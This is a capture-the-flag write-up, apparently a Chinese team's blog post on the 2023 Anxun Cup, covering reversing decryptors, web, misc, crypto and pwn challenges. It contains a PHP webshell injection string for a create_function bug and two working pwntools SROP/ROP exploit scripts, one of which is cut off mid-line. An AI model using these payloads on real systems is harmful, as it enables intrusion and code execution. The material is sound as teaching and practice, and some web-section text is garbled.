2023安洵杯-秦岭防御军wp

发布时间：2023年12月24日

reverse

感觉有点点简单##

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import base64
def ba64_decode(str1_1):
    mapp = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"
    data_1 = [0] * 4
    flag_1 = [0] * 3
    for i in range(32, 127):
        for y in range(32, 127):
            for k in range(32, 127):
                flag_1[0] = i
                flag_1[1] = y
                flag_1[2] = k
                data_1[0] = (mapp[flag_1[0] & 0x3f])
                data_1[1] = (mapp[(4 * (flag_1[1] & 0xF)) | ((flag_1[0] & 0xC0) >> 6)])
                data_1[2] = (mapp[(16 * (flag_1[2] & 3)) | (flag_1[1] & 0xf0) >> 4])
                data_1[3] = (mapp[(flag_1[2] & 0xfc) >> 2])

                if data_1 == str1_1:
                    print(flag_1)
                    return
    print("fales!")

encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw")
for i in range(0, len(encoded_str), 4):
    print("encData=", [x for x in encoded_str[i:i + 4]])
    ba64_decode([x for x in encoded_str[i:i + 4]])

import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):
    # Key-Scheduling Algorithm (KSA)
    key_length = len(key)
    S = list(range(64))
    j = 0
    for i in range(64):
        j = (j + S[i] + key[i % key_length]) % 64
        S[i], S[j] = S[j], S[i]
        
    i = j = 0
    plaintext = bytearray()

    for char in ciphertext:
        i = (i + 1) % 64
        j = (j + S[i]) % 64
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
        plaintext.append(char ^ ((i^j)&keystream_byte))

    return bytes(plaintext)



key = [ord(x)for x in 'the_key_']
#填写key
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81
    ,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50,0]
print(rc4_decrypt(key,data))

剩下一个字符，直接从ABC开始猜，要求出来需要改变那个=，D0g3{608292C4-15400BA4-B3299A5C-704C292D}

牢大想你了

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from ctypes import *

def decrypt(v, k):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta =2654435769
    sum1 = c_uint32(delta * 32)
    for i in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    for i in range(4):
        print(chr((v0.value>>8*i)&0xff),end='')
    for i in range(4):
        print(chr((v1.value>>8*i)&0xff),end='')

if __name__ == '__main__':
    a = [3363017039, 1247970816, 549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,
         4010321577, 2743404694]
    k = [286331153, 286331153, 286331153, 286331153]
    for i in range(0,len(a),2):
        res = decrypt(a[i:i+2], k)

it_is_been_a_long_day_without_you_my_friend

你见过蓝色的小鲸鱼

##  re5

sub_4577E0函数中的操作包括输入长度获取，加密和比较等

```c
CHAR *__cdecl sub_4577E0(HWND hDlg)
{
  CHAR *result; // eax
  CHAR *v2; // [esp+10h] [ebp-154h]
  void *v3; // [esp+24h] [ebp-140h]
  CHAR *v4; // [esp+114h] [ebp-50h]
  CHAR *lpString; // [esp+120h] [ebp-44h]
  HWND DlgItem; // [esp+12Ch] [ebp-38h]
  HWND hWnd; // [esp+138h] [ebp-2Ch]
  int v8; // [esp+144h] [ebp-20h]
  int WindowTextLengthA; // [esp+150h] [ebp-14h]

  __CheckForDebuggerJustMyCode(&unk_52105E);
  hWnd = GetDlgItem(hDlg, 1003);
  DlgItem = GetDlgItem(hDlg, 1004);
  WindowTextLengthA = GetWindowTextLengthA(hWnd);
  v8 = GetWindowTextLengthA(DlgItem);
  lpString = (CHAR *)j__malloc(__CFADD__(WindowTextLengthA, 16) ? -1 : WindowTextLengthA + 16);
  result = (CHAR *)j__malloc(__CFADD__(v8, 16) ? -1 : v8 + 16);
  v4 = result;
  if ( lpString && result )
  {
    GetWindowTextA(hWnd, lpString, WindowTextLengthA + 16);
    GetWindowTextA(DlgItem, v4, v8 + 16);
    v3 = operator new(0x10u);
    if ( v3 )
    {
      sub_451B43(0x10u);
      v2 = (CHAR *)sub_450CE3(v3);
    }
    else
    {
      v2 = 0;
    }
    sub_44FC2B(&unk_51D38C, 0x10u);
    sub_45126F(lpString, WindowTextLengthA, (int)v4, v8);
    sub_450199(v2);
    j__free(lpString);
    j__free(v4);
    result = v2;
    if ( v2 )
      return (CHAR *)sub_44F77B(1);
  }
  return result;
}

sub_45126F-->sub_4571A0
![image-20231223221451173.png](https://cdn.nlark.com/yuque/0/2023/png/36009450/1703342216581-65b8a127-38a3-4ebd-9856-14f3dbbdbe5e.png#averageHue=%23fdfdfd&clientId=u84f2d8f1-b3dc-4&from=paste&height=618&id=ude35dac3&originHeight=618&originWidth=783&originalType=binary&ratio=1&rotation=0&showTitle=false&size=35009&status=done&style=none&taskId=uda055ff9-b505-4ecd-a4ea-cf61cf572b1&title=&width=783)
```markdown
sub_4521B5(&unk_51C048, &unk_51C000);会对两段数据进行操作

sub_451F08(a4, a5);为关键加密

sub_451F08-->sub_456120

image-20231223221924560.png

sub_456120将密码和密码长度赋值后加密

sub_4522FA-->sub_456930

image-20231223222019252.png
该函数加密两次8字节
image-20231223222515997.png
将之前的两个数据异或进行交换就可以，加密赋值后翻转
image-20231223223140570.png
上图为主要解密函数
image-20231223223205553.png
最后输出需要两两交换
D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

web

what’s my name

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通过** G E T ? ? 获取了两个参数： ? ? d 0 g 3 ? ? 和 ? ? n a m e ? ? 。对 ? ? _GET** 获取了两个参数：**d0g3** 和**name**。对** G?ET??获取了两个参数：??d0g3??和??name??。对??d0g3** 进行了正则匹配，要求其满足一定的模式：以任意5个字符为一组重复出现，最后以 include 结尾。
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如果条件满足，会再次使用create_function 创建一个匿名函数，该函数用于排序数组。可以通过构造d0g3 的值是 “]);}file_put_contents(“she22.php”,”<?php eval($_POST[3]);");/ainclude，而 name 的值是 %00lambda_72
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由于*$miao** 的值是动态生成的字符串，而不是一个静态值，所以我们通过暴力破解的方式尝试绕过
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经过爆破，发现状态码为4204的代表成功
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连接webshell
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查看admin.php,需要从本地访问
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通过http协议访问自己，成功获取flag
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caf06c32-a18c-11ee-8c62-00163e0447d0

easy_unserizlize

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flag{6f1395d6-a18e-11ee-844d-00163e0447d0}

MISC

misc4

winhex打开文件
图片.png
逆向这个文件
图片.png
发现是一个jpg图片，保存
然后解密图片
图片.png

Misc-dacongのsecret

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爆破宽和高，得到压缩包密码
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解压包
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base64隐写得到密码
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利用JPHS解密得到flag
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misc-dacongのWindows

发现一个音频文件，sstv
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并且得到flag的一部分flag{Ar3_Th3Y
利用工具进行处理得到一段_tHE_Dddd
image.png
找到这两段
image.png
U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e
d@@Coong_LiiKEE_F0r3NsIc
利用ase进行解密
image.png
得到
dAc0Ng_SIst3Rs???}
进行flag拼接
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

crypto

010101

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image-20231223201831606.png1.pngimage-20231223201731265.png

pwn

side_channel , initiate!


#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.clear(arch='amd64')

aaa = ELF('./chall')

bbb = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

syscall_got = aaa.got['syscall']
syscall_plt = aaa.plt['syscall']

bs = 0x404060

leave_ret = 0x000000000040136c
mov_rax_15 = 0x0000000000401193
syscall_ret = 0x000000000040118a

frame_write = SigreturnFrame()
frame_write.rdi = 10
frame_write.rsi = bs >> 12 << 12
frame_write.rdx = 0x1000
frame_write.rcx = 7
frame_write.rsp = bs + 0x110
frame_write.rip = syscall_plt

frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 0
frame_read.rdx = bs + 0x300
frame_read.rcx = 0x100
frame_read.rsp = bs + 0x300
frame_read.rip = syscall_plt


def pwn(pos, char):
    p.recvuntil(b'easyhack')
    payload = b'flag'.ljust(8, b'\x00')
    payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_write)
    payload = payload.ljust(0x100, b'\x00')
    payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_read)
    p.send(payload)

    p.recvuntil(b'what is SUID')
    payload = b'a' * (0x32 - 0x8) + p64(bs) + p32(leave_ret)
    payload = payload.ljust(58, b'\x00')
    p.send(payload)

    shellcode = f'''
        /* open("flag") */
        push 2
        pop rax
        mov rdi, 0x67616c66
        push rdi
        mov rdi, rsp
        xor rsi, rsi
        syscall
        /* read flag */
        push rax
        pop rdi
        mov rsi, 0x404500
        push 0x50
        pop rdx
        xor rax, rax
        syscall
        /* blow up flag */
        mov al, byte ptr [rsi+{pos}]
        cmp al, {char}
        ja $-2
        /* exit_group */
        xor edi, edi
        push 0xe7
        pop rax
        syscall
    '''
    payload = p64(bs + 0x308) + asm(shellcode)
    sleep(0.1)
    p.send(payload)


if __name__ == '__main__' :
    fstart = time.time()
    pos = 0
    flag = "flag{"

    while True:
        left, right = 0, len(bbb) - 1
        while left < right :
            mid = (left + right) >> 1

            # p = proces

71063dc94f445c901df8b2331b15746.png
a14bc9b29fc3b400bb70347792d809e.png

Seccomp

#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.clear(arch='amd64')

elf = ELF('./chall')

#p = process('./chall')
p = remote('47.108.206.43',24253)

syscall_got = elf.got['syscall']
syscall_plt = elf.plt['syscall']

bss = 0x404060
leave_ret = 0x40136c
mov_rax_15_ret = 0x401193
syscall_ret = 0x40118a

frame_open = SigreturnFrame()
frame_open.rdi = 2
frame_open.rsi = bss
frame_open.rdx = 0
frame_open.rsp = bss + 0x110
frame_open.rip = syscall_plt

frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 3
frame_read.rdx = bss + 0x500
frame_read.rcx = 0x200
frame_read.rsp = bss + 0x218
frame_read.rip = syscall_plt

frame_write = SigreturnFrame()
frame_write.rdi = 1
frame_write.rsi = 1
frame_write.rdx = bss + 0x500
frame_write.rcx = 0x40
frame_write.rsp = bss + 0x320
frame_write.rip = syscall_plt

p.recvuntil(b'easyhack')
payload = b'flag'.ljust(8, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_open)
payload = payload.ljust(0x100, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)
payload = payload.ljust(0x200, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)
p.send(payload)

p.recvuntil(b'what is SUID')
payload = b'a' * (0x32 - 0x8) + p64(bss) + p32(leave_ret)
p.send(payload)

p.interactive()

bfd9c3bf7e739811ec66a680e4cec69.png

文章来源:https://blog.csdn.net/qq_42186263/article/details/135183260
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